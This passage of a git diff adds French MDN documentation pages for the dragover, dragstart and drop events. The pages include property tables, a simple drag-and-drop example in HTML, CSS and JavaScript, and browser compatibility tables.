+   <td><code>target</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/EventTarget" title="EventTarget is an interface implemented by objects that can receive events and may have listeners for them."><code>EventTarget</code></a></td>
+   <td>The element that was underneath the element being dragged.</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/DOMString" title="DOMString is a UTF-16 String. As JavaScript already uses such strings, DOMString is mapped directly to a String."><code>DOMString</code></a></td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+   <td>Whether the event normally bubbles or not</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+   <td>Whether the event is cancellable or not?</td>
+  </tr>
+  <tr>
+   <td><code>view</code> {{readonlyInline}}</td>
+   <td><a class="new" href="/en-US/docs/Web/API/WindowProxy" rel="nofollow" title="The documentation about this has not yet been written; please consider contributing!"><code>WindowProxy</code></a></td>
+   <td><a href="/en-US/docs/Web/API/Document/defaultView" title="In browsers, document.defaultView returns the window object associated with a document, or null if none is available."><code>document.defaultView</code></a> (<code>window</code> of the document)</td>
+  </tr>
+  <tr>
+   <td><code>detail</code> {{readonlyInline}}</td>
+   <td><code>long</code> (<code>float</code>)</td>
+   <td>0.</td>
+  </tr>
+  <tr>
+   <td><code>dataTransfer</code></td>
+   <td>DataTransfer</td>
+   <td>The data that underlies a drag-and-drop operation, known as the <a href="/en-US/docs/Web/API/DataTransfer">drag data store</a>. Protected mode.</td>
+  </tr>
+  <tr>
+   <td><code>currentTarget</code> {{readonlyInline}}</td>
+   <td>EventTarget</td>
+   <td>The node that had the event listener attached.</td>
+  </tr>
+  <tr>
+   <td><code>relatedTarget</code> {{readonlyInline}}</td>
+   <td>EventTarget</td>
+   <td>For <code>mouseover</code>, <code>mouseout</code>, <code>mouseenter</code> and <code>mouseleave</code> events: the target of the complementary event (the <code>mouseleave</code> target in the case of a <code>mouseenter</code> event). <code>null</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>screenX</code> {{readonlyInline}}</td>
+   <td>long</td>
+   <td>The X coordinate of the mouse pointer in global (screen) coordinates.</td>
+  </tr>
+  <tr>
+   <td><code>screenY</code> {{readonlyInline}}</td>
+   <td>long</td>
+   <td>The Y coordinate of the mouse pointer in global (screen) coordinates.</td>
+  </tr>
+  <tr>
+   <td><code>clientX</code> {{readonlyInline}}</td>
+   <td>long</td>
+   <td>The X coordinate of the mouse pointer in local (DOM content) coordinates.</td>
+  </tr>
+  <tr>
+   <td><code>clientY</code> {{readonlyInline}}</td>
+   <td>long</td>
+   <td>The Y coordinate of the mouse pointer in local (DOM content) coordinates.</td>
+  </tr>
+  <tr>
+   <td><code>button</code> {{readonlyInline}}</td>
+   <td>unsigned short</td>
+   <td>The button number that was pressed when the mouse event was fired: Left button=0, middle button=1 (if present), right button=2. For mice configured for left handed use in which the button actions are reversed the values are instead read from right to left.</td>
+  </tr>
+  <tr>
+   <td><code>buttons</code> {{readonlyInline}}</td>
+   <td>unsigned short</td>
+   <td>The buttons being pressed when the mouse event was fired: Left button=1, Right button=2, Middle (wheel) button=4, 4th button (typically, "Browser Back" button)=8, 5th button (typically, "Browser Forward" button)=16. If two or more buttons are pressed, returns the logical sum of the values. E.g., if Left button and Right button are pressed, returns 3 (=1 | 2). <a href="/en-US/docs/Web/API/MouseEvent">More info</a>.</td>
+  </tr>
+  <tr>
+   <td><code>mozPressure</code> {{readonlyInline}}</td>
+   <td>float</td>
+   <td>The amount of pressure applied to a touch or tabdevice when generating the event; this value ranges between 0.0 (minimum pressure) and 1.0 (maximum pressure).</td>
+  </tr>
+  <tr>
+   <td><code>ctrlKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the control key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>shiftKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the shift key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>altKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the alt key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>metaKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the meta key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="operator token">&lt;</span>div <span class="keyword token">class</span><span class="operator token">=</span><span class="string token">"dropzone"</span><span class="operator token">&gt;</span>
+  <span class="operator token">&lt;</span>div id<span class="operator token">=</span><span class="string token">"draggable"</span> draggable<span class="operator token">=</span><span class="string token">"true"</span> ondragstart<span class="operator token">=</span><span class="string token">"event.dataTransfer.setData('text/plain',null)"</span><span class="operator token">&gt;</span>
+    This div is draggable
+  <span class="operator token">&lt;</span><span class="operator token">/</span>div<span class="operator token">&gt;</span>
+<span class="operator token">&lt;</span><span class="operator token">/</span>div<span class="operator token">&gt;</span>
+<span class="operator token">&lt;</span>div <span class="keyword token">class</span><span class="operator token">=</span><span class="string token">"dropzone"</span><span class="operator token">&gt;</span><span class="operator token">&lt;</span><span class="operator token">/</span>div<span class="operator token">&gt;</span>
+<span class="operator token">&lt;</span>div <span class="keyword token">class</span><span class="operator token">=</span><span class="string token">"dropzone"</span><span class="operator token">&gt;</span><span class="operator token">&lt;</span><span class="operator token">/</span>div<span class="operator token">&gt;</span>
+<span class="operator token">&lt;</span>div <span class="keyword token">class</span><span class="operator token">=</span><span class="string token">"dropzone"</span><span class="operator token">&gt;</span><span class="operator token">&lt;</span><span class="operator token">/</span>div<span class="operator token">&gt;</span>
+
+<span class="operator token">&lt;</span>style<span class="operator token">&gt;</span>
+  #draggable <span class="punctuation token">{</span>
+    width<span class="punctuation token">:</span> 200px<span class="punctuation token">;</span>
+    height<span class="punctuation token">:</span> 20px<span class="punctuation token">;</span>
+    text<span class="operator token">-</span>align<span class="punctuation token">:</span> center<span class="punctuation token">;</span>
+    background<span class="punctuation token">:</span> white<span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+
+  <span class="punctuation token">.</span>dropzone <span class="punctuation token">{</span>
+    width<span class="punctuation token">:</span> 200px<span class="punctuation token">;</span>
+    height<span class="punctuation token">:</span> 20px<span class="punctuation token">;</span>
+    background<span class="punctuation token">:</span> blueviolet<span class="punctuation token">;</span>
+    margin<span class="operator token">-</span>bottom<span class="punctuation token">:</span> 10px<span class="punctuation token">;</span>
+    padding<span class="punctuation token">:</span> 10px<span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+<span class="operator token">&lt;</span><span class="operator token">/</span>style<span class="operator token">&gt;</span>
+
+<span class="operator token">&lt;</span>script<span class="operator token">&gt;</span>
+  <span class="keyword token">var</span> dragged<span class="punctuation token">;</span>
+
+  <span class="comment token">/* Les événements sont déclenchés sur les objets glissables */</span>
+  document<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">"drag"</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span> event <span class="punctuation token">)</span> <span class="punctuation token">{</span>
+
+  <span class="punctuation token">}</span><span class="punctuation token">,</span> <span class="keyword token">false</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+  document<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">"dragstart"</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span> event <span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      <span class="comment token">// Stocke une référence sur l'objet glissable</span>
+      dragged <span class="operator token">=</span> event<span class="punctuation token">.</span>target<span class="punctuation token">;</span>
+      <span class="comment token">// transparence 50%</span>
+      event<span class="punctuation token">.</span>target<span class="punctuation token">.</span>style<span class="punctuation token">.</span>opacity <span class="operator token">=</span> <span class="punctuation token">.</span><span class="number token">5</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span><span class="punctuation token">,</span> <span class="keyword token">false</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+  document<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">"dragend"</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span> event <span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      <span class="comment token">// reset de la transparence</span>
+      event<span class="punctuation token">.</span>target<span class="punctuation token">.</span>style<span class="punctuation token">.</span>opacity <span class="operator token">=</span> <span class="string token">""</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span><span class="punctuation token">,</span> <span class="keyword token">false</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+  <span class="comment token">/* Les événements sont déclenchés sur les cibles du drop */</span>
+  document<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">"dragover"</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span> event <span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      <span class="comment token">// Empêche default d'autoriser le drop</span>
+      event<span class="punctuation token">.</span><span class="function token">preventDefault</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span><span class="punctuation token">,</span> <span class="keyword token">false</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+  document<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">"dragenter"</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span> event <span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      <span class="comment token">// Met en surbrillance la cible de drop potentielle lorsque l'élément glissable y entre</span>
+      <span class="keyword token">if</span> <span class="punctuation token">(</span> event<span class="punctuation token">.</span>target<span class="punctuation token">.</span>className <span class="operator token">==</span> <span class="string token">"dropzone"</span> <span class="punctuation token">)</span> <span class="punctuation token">{</span>
+          event<span class="punctuation token">.</span>target<span class="punctuation token">.</span>style<span class="punctuation token">.</span>background <span class="operator token">=</span> <span class="string token">"purple"</span><span class="punctuation token">;</span>
+      <span class="punctuation token">}</span>
+
+  <span class="punctuation token">}</span><span class="punctuation token">,</span> <span class="keyword token">false</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+  document<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">"dragleave"</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span> event <span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      <span class="comment token">// reset de l'arrière-plan des potentielles cible du drop lorsque les éléments glissables les quittent </span>
+      <span class="keyword token">if</span> <span class="punctuation token">(</span> event<span class="punctuation token">.</span>target<span class="punctuation token">.</span>className <span class="operator token">==</span> <span class="string token">"dropzone"</span> <span class="punctuation token">)</span> <span class="punctuation token">{</span>
+          event<span class="punctuation token">.</span>target<span class="punctuation token">.</span>style<span class="punctuation token">.</span>background <span class="operator token">=</span> <span class="string token">""</span><span class="punctuation token">;</span>
+      <span class="punctuation token">}</span>
+
+  <span class="punctuation token">}</span><span class="punctuation token">,</span> <span class="keyword token">false</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+  document<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">"drop"</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span> event <span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      <span class="comment token">// Empêche l'action par défaut (ouvrir comme lien pour certains éléments)</span>
+      event<span class="punctuation token">.</span><span class="function token">preventDefault</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+      <span class="comment token">// Déplace l'élément traîné vers la cible du drop sélectionnée</span>
+      <span class="keyword token">if</span> <span class="punctuation token">(</span> event<span class="punctuation token">.</span>target<span class="punctuation token">.</span>className <span class="operator token">==</span> <span class="string token">"dropzone"</span> <span class="punctuation token">)</span> <span class="punctuation token">{</span>
+          event<span class="punctuation token">.</span>target<span class="punctuation token">.</span>style<span class="punctuation token">.</span>background <span class="operator token">=</span> <span class="string token">""</span><span class="punctuation token">;</span>
+          dragged<span class="punctuation token">.</span>parentNode<span class="punctuation token">.</span><span class="function token">removeChild</span><span class="punctuation token">(</span> dragged <span class="punctuation token">)</span><span class="punctuation token">;</span>
+          event<span class="punctuation token">.</span>target<span class="punctuation token">.</span><span class="function token">appendChild</span><span class="punctuation token">(</span> dragged <span class="punctuation token">)</span><span class="punctuation token">;</span>
+      <span class="punctuation token">}</span>
+
+  <span class="punctuation token">}</span><span class="punctuation token">,</span> <span class="keyword token">false</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="operator token">&lt;</span><span class="operator token">/</span>script<span class="operator token">&gt;</span></code></pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "interaction.html#dndevents", "dragover")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5.1", "editing.html#dndevents", "dragover")}}</td>
+   <td>{{Spec2("HTML5.1")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilités_navigateur">Compatibilités navigateur</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Navigateur</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>4</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>10</td>
+   <td>12</td>
+   <td>3.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Navigateur</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatIE("10")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{event("drag")}}</li>
+ <li>{{event("dragstart")}}</li>
+ <li>{{event("dragend")}}</li>
+ <li>{{event("dragover")}}</li>
+ <li>{{event("dragenter")}}</li>
+ <li>{{event("dragleave")}}</li>
+ <li>{{event("dragexit")}}</li>
+ <li>{{event("drop")}}</li>
+</ul>
+
+<p> </p>
diff --git a/files/fr/web/api/document/dragstart_event/index.html b/files/fr/web/api/document/dragstart_event/index.html
new file mode 100644
index 0000000000..fb43328e8b
--- /dev/null
+++ b/files/fr/web/api/document/dragstart_event/index.html
@@ -0,0 +1,315 @@
+---
+title: dragstart
+slug: Web/API/Document/dragstart_event
+translation_of: Web/API/Document/dragstart_event
+---
+<p>L'événement <strong>dragstart </strong>est déclenché lorsque l'utilisateur glisse un élément ou une sélection de texte.</p>
+
+<h2 id="Informations_générales">Informations générales</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="new" href="https://developer.mozilla.org/fr/docs/Web/API/DragEvent" title="Cette documentation n'a pas encore été rédigée, vous pouvez aider en contribuant !"><code>DragEvent</code></a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Propagation</dt>
+ <dd style="margin: 0 0 0 120px;">Oui</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Annulable</dt>
+ <dd style="margin: 0 0 0 120px;">Oui</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cible</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("Document")}}, {{domxref("Element")}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Action par défaut</dt>
+ <dd style="margin: 0 0 0 120px;">Initie l'opération de glisser-déposer</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/EventTarget" title="EventTarget is an interface implemented by objects that can receive events and may have listeners for them."><code>EventTarget</code></a></td>
+   <td>The element that was underneath the element being dragged.</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/DOMString" title="DOMString is a UTF-16 String. As JavaScript already uses such strings, DOMString is mapped directly to a String."><code>DOMString</code></a></td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+   <td>Whether the event normally bubbles or not</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+   <td>Whether the event is cancellable or not?</td>
+  </tr>
+  <tr>
+   <td><code>view</code> {{readonlyInline}}</td>
+   <td><a class="new" href="/en-US/docs/Web/API/WindowProxy" rel="nofollow" title="The documentation about this has not yet been written; please consider contributing!"><code>WindowProxy</code></a></td>
+   <td><a href="/en-US/docs/Web/API/Document/defaultView" title="In browsers, document.defaultView returns the window object associated with a document, or null if none is available."><code>document.defaultView</code></a> (<code>window</code> of the document)</td>
+  </tr>
+  <tr>
+   <td><code>detail</code> {{readonlyInline}}</td>
+   <td><code>long</code> (<code>float</code>)</td>
+   <td>0.</td>
+  </tr>
+  <tr>
+   <td><code>dataTransfer</code></td>
+   <td>DataTransfer</td>
+   <td>The data that underlies a drag-and-drop operation, known as the <a href="/en-US/docs/Web/API/DataTransfer">drag data store</a>. Protected mode.</td>
+  </tr>
+  <tr>
+   <td><code>currentTarget</code> {{readonlyInline}}</td>
+   <td>EventTarget</td>
+   <td>The node that had the event listener attached.</td>
+  </tr>
+  <tr>
+   <td><code>relatedTarget</code> {{readonlyInline}}</td>
+   <td>EventTarget</td>
+   <td>For <code>mouseover</code>, <code>mouseout</code>, <code>mouseenter</code> and <code>mouseleave</code> events: the target of the complementary event (the <code>mouseleave</code> target in the case of a <code>mouseenter</code> event). <code>null</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>screenX</code> {{readonlyInline}}</td>
+   <td>long</td>
+   <td>The X coordinate of the mouse pointer in global (screen) coordinates.</td>
+  </tr>
+  <tr>
+   <td><code>screenY</code> {{readonlyInline}}</td>
+   <td>long</td>
+   <td>The Y coordinate of the mouse pointer in global (screen) coordinates.</td>
+  </tr>
+  <tr>
+   <td><code>clientX</code> {{readonlyInline}}</td>
+   <td>long</td>
+   <td>The X coordinate of the mouse pointer in local (DOM content) coordinates.</td>
+  </tr>
+  <tr>
+   <td><code>clientY</code> {{readonlyInline}}</td>
+   <td>long</td>
+   <td>The Y coordinate of the mouse pointer in local (DOM content) coordinates.</td>
+  </tr>
+  <tr>
+   <td><code>button</code> {{readonlyInline}}</td>
+   <td>unsigned short</td>
+   <td>The button number that was pressed when the mouse event was fired: Left button=0, middle button=1 (if present), right button=2. For mice configured for left handed use in which the button actions are reversed the values are instead read from right to left.</td>
+  </tr>
+  <tr>
+   <td><code>buttons</code> {{readonlyInline}}</td>
+   <td>unsigned short</td>
+   <td>The buttons being pressed when the mouse event was fired: Left button=1, Right button=2, Middle (wheel) button=4, 4th button (typically, "Browser Back" button)=8, 5th button (typically, "Browser Forward" button)=16. If two or more buttons are pressed, returns the logical sum of the values. E.g., if Left button and Right button are pressed, returns 3 (=1 | 2). <a href="/en-US/docs/Web/API/MouseEvent">More info</a>.</td>
+  </tr>
+  <tr>
+   <td><code>mozPressure</code> {{readonlyInline}}</td>
+   <td>float</td>
+   <td>The amount of pressure applied to a touch or tabdevice when generating the event; this value ranges between 0.0 (minimum pressure) and 1.0 (maximum pressure).</td>
+  </tr>
+  <tr>
+   <td><code>ctrlKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the control key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>shiftKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the shift key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>altKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the alt key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>metaKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the meta key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemple：dropzone">Exemple：dropzone</h2>
+
+<h3 id="HTML_Content">HTML Content</h3>
+
+<pre class="brush: html">&lt;div class="dropzone"&gt;
+  &lt;div id="draggable" draggable="true" ondragstart="event.dataTransfer.setData('text/plain',null)"&gt;
+    This div is draggable
+  &lt;/div&gt;
+&lt;/div&gt;
+&lt;div class="dropzone"&gt;&lt;/div&gt;
+&lt;div class="dropzone"&gt;&lt;/div&gt;
+&lt;div class="dropzone"&gt;&lt;/div&gt;
+</pre>
+
+<h3 id="CSS_Content">CSS Content</h3>
+
+<pre class="brush: css">  #draggable {
+    width: 200px;
+    height: 20px;
+    text-align: center;
+    background: white;
+  }
+
+  .dropzone {
+    width: 200px;
+    height: 20px;
+    background: blueviolet;
+    margin-bottom: 10px;
+    padding: 10px;
+  }
+</pre>
+
+<h3 id="JavaScript_Content">JavaScript Content</h3>
+
+<pre class="brush: js">  var dragged;
+
+  /* Les événements sont déclenchés sur les objets glissables */
+  document.addEventListener("drag", function( event ) {
+
+  }, false);
+
+  document.addEventListener("dragstart", function( event ) {
+      // Stocke une référence sur l'objet glissable
+      dragged = event.target;
+      // transparence 50%
+      event.target.style.opacity = .5;
+  }, false);
+
+  document.addEventListener("dragend", function( event ) {
+      // reset de la transparence
+      event.target.style.opacity = "";
+  }, false);
+
+  /* Les événements sont déclenchés sur les cibles du drop */
+  document.addEventListener("dragover", function( event ) {
+      // Empêche default d'autoriser le drop
+      event.preventDefault();
+  }, false);
+
+  document.addEventListener("dragenter", function( event ) {
+      // Met en surbrillance la cible de drop potentielle lorsque l'élément glissable y entre
+      if ( event.target.className == "dropzone" ) {
+          event.target.style.background = "purple";
+      }
+
+  }, false);
+
+  document.addEventListener("dragleave", function( event ) {
+      // reset de l'arrière-plan des potentielles cible du drop lorsque les éléments glissables les quittent
+      if ( event.target.className == "dropzone" ) {
+          event.target.style.background = "";
+      }
+
+  }, false);
+
+  document.addEventListener("drop", function( event ) {
+      // Empêche l'action par défaut (ouvrir comme lien pour certains éléments)
+      event.preventDefault();
+      // Déplace l'élément traîné vers la cible du drop sélectionnée
+      if ( event.target.className == "dropzone" ) {
+          event.target.style.background = "";
+          dragged.parentNode.removeChild( dragged );
+          event.target.appendChild( dragged );
+      }
+
+  }, false);</pre>
+
+<p>{{ EmbedLiveSample('Example：dropzone') }}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "interaction.html#dndevents", "dragstart")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5.1", "editing.html#dndevents", "dragstart")}}</td>
+   <td>{{Spec2("HTML5.1")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilités_navigateur">Compatibilités navigateur</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Navigateur</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>4</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>10</td>
+   <td>12</td>
+   <td>3.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Navigateur</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatIE("10")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{event("drag")}}</li>
+ <li>{{event("dragstart")}}</li>
+ <li>{{event("dragend")}}</li>
+ <li>{{event("dragover")}}</li>
+ <li>{{event("dragenter")}}</li>
+ <li>{{event("dragleave")}}</li>
+ <li>{{event("dragexit")}}</li>
+ <li>{{event("drop")}}</li>
+</ul>
diff --git a/files/fr/web/api/document/drop_event/index.html b/files/fr/web/api/document/drop_event/index.html
new file mode 100644
index 0000000000..a67eb0684b
--- /dev/null
+++ b/files/fr/web/api/document/drop_event/index.html
@@ -0,0 +1,313 @@
+---
+title: drop
+slug: Web/API/Document/drop_event
+translation_of: Web/API/Document/drop_event
+---
+<div>{{APIRef}}</div>
+
+<p>L'événement <strong>drop </strong>est déclenché lorsqu'un élément ou une sélection de texte est déposé sur une cible de dépôt valide.</p>
+
+<h2 id="Informations_générales">Informations générales</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="new" href="https://developer.mozilla.org/fr/docs/Web/API/DragEvent" title="Cette documentation n'a pas encore été rédigée, vous pouvez aider en contribuant !"><code>DragEvent</code></a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Propagation</dt>
+ <dd style="margin: 0 0 0 120px;">Oui</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Annulable</dt>
+ <dd style="margin: 0 0 0 120px;">Oui</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cible</dt>
+ <dd style="margin: 0 0 0 120px;"><a href="https://developer.mozilla.org/fr/docs/Web/API/Document" title="Toute page web chargée dans un navigateur web a son propre objet document. Cet objet sert de point d'entrée au contenu de la page et apporte des fonctions générales au document."><code>Document</code></a>, <a href="https://developer.mozilla.org/fr/docs/Web/API/Element" title="Ce chapitre fournit une brève référence des méthodes, propriétés et évènements généraux disponibles pour la plupart des éléments HTML et XML au sein du DOM des navigateurs utilisant Gecko."><code>Element</code></a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Action par défaut</dt>
+ <dd style="margin: 0 0 0 120px;">Varie</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/EventTarget" title="EventTarget is an interface implemented by objects that can receive events and may have listeners for them."><code>EventTarget</code></a></td>
+   <td>The element that was underneath the element being dragged.</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/DOMString" title="DOMString is a UTF-16 String. As JavaScript already uses such strings, DOMString is mapped directly to a String."><code>DOMString</code></a></td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+   <td>Whether the event normally bubbles or not</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
